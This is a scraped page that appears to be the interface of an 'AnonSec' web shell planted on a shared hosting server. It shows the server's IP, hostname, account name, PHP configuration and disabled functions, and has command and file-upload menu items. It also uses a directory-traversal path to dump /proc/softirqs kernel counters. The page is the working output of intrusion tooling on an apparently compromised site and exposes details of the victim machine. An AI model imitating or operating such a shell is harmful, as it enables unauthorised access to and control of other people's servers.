Gotcha!
Server IP : 162.241.5.139  /  Your IP : 216.73.216.50
Web Server : Apache
System : Linux server.vda.uxz.mybluehostin.me 5.14.0-687.59.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 21 06:02:14 EDT 2026 x86_64
User : dataincite ( 1006)
PHP Version : 8.2.35
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0555) :  /../../etc/pki/java/../java/../java/../java/../java/../java/../../../../../srv/../proc/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../../etc/pki/java/../java/../java/../java/../java/../java/../../../../../srv/../proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
          HI:          0          0          0          0          0          0          1          0          0          0          0          0          1          0          0          0
       TIMER:   17118886   46617260   27280583   38218549   25807333   39300042   31264876   20205005   26800695   23144718   24948390   24815981  109629966   15253888   34913255   24683666
      NET_TX:          5          7          5         10          2          7          2         11          7          6          5         17          2          0          5          1
      NET_RX:   27397401   70291895   40151223   98423775   36086423  124173624   34585900   33193498   52327501   57897870   50416133   36836677   53145672   26547860  105880328  114179902
       BLOCK:    1272738    2156365    1969930    1572101    1309531    1336067    1337659    1261324    1412260    1195536    1066611    1280056    1239007    1268739    1418081    1547682
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:    5486039   13628685    4080449   24979808    7953896   31479933    8296825    6795843   11738492    7802243   15967097    9382612   15240861    4419122   24557501    4279710
       SCHED:   43281127   21039135   13854115   17605798   11504976   19831812   11845985   10105690   12864514   13215259   10745371   13467594   23132316    9100744   17315577   22524797
     HRTIMER:       2055       5282       3614       9146       2229      15028       1628       2546       4862       2665       5649       4216       7060       1398       9161       1358
         RCU:   42511208   77495760   54602293   89967049   52120972  108597814   53069951   45851652   60318534   72812812   46797749   48401131   98763009   41307487   97822119  147557749

AnonSec - 2021